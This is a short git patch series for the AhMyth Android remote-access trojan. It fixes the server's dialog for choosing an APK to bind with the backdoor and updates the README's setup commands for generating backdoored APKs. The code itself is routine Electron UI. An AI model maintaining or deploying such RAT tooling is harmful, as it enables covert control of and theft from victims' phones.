From 67f5ea1a2a543926b1e2dbfbb84233c312a1d606 Mon Sep 17 00:00:00 2001 From: Morsmalleo <64344168+Morsmalleo@users.noreply.github.com> Date: Wed, 24 Mar 2021 03:57:38 +0000 Subject: [PATCH 1/2] Update AppCtrl.js fixed problem with APK files not being selected when browsing --- .../app/app/assets/js/controllers/AppCtrl.js | 21 +++++++++++-------- 1 file changed, 12 insertions(+), 9 deletions(-) diff --git a/AhMyth-Server/app/app/assets/js/controllers/AppCtrl.js b/AhMyth-Server/app/app/assets/js/controllers/AppCtrl.js index 559210d0..90bf668f 100644 --- a/AhMyth-Server/app/app/assets/js/controllers/AppCtrl.js +++ b/AhMyth-Server/app/app/assets/js/controllers/AppCtrl.js @@ -100,28 +100,31 @@ app.controller("AppCtrl", ($scope) => { // function to open the dialog and choose apk to be bindded - $appCtrl.BrowseApk = () => { - dialog.showOpenDialog(function(fileNames) { - // fileNames is an array that contains all the selected - if (fileNames === undefined) { + $appCtrl.BrowseApk = () => { + dialog.showOpenDialog({}, { + properties: ['openFile'] + }).then(result => { + if(result.canceled) { $appCtrl.Log("No file selected"); } else { - $appCtrl.Log("File choosen " + fileNames[0]); - readFile(fileNames[0]); // read the file + $appCtrl.Log("File choosen " + result.filePaths[0]); + readFile(result.filePaths[0]); } - }); + }).catch(() => { + $appCtrl.Log("No file selected"); + }) function readFile(filepath) { $appCtrl.filePath = filepath; $appCtrl.$apply(); } - } + // function to build the apk and sign it $appCtrl.GenerateApk = (apkFolder) => { @@ -418,4 +421,4 @@ function GetLanucherPath(manifest, smaliPath) { -} \ No newline at end of file +} From f2b55e4dbba4de1865ea849b25d8d96987914d08 Mon Sep 17 00:00:00 2001 From: Morsmalleo <64344168+Morsmalleo@users.noreply.github.com> Date: Wed, 24 Mar 2021 04:08:40 +0000 Subject: [PATCH 2/2] Update README.md Updated README.md --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index f6500c59..627c6d51 100644 --- a/README.md +++ b/README.md @@ -10,11 +10,12 @@ It consists of two parts : #### 1) From source code ###### Prerequisite : * Electron (to start the app) -* Java (to generate apk backdoor) +* Openjdk-8-jdk/Java (to generate apk backdoor) * Electron-builder and electron-packer (to build binaries for (OSX,WINDOWS,LINUX)) 1. ```git clone https://github.com/AhMyth/AhMyth-Android-RAT.git``` 2. ```cd AhMyth-Android-RAT/AhMyth-Server``` -3. ```npm start``` +3. ```npm install && npm audit fix``` +4. ```npm start``` #### 2) From binaries ###### Prerequisite :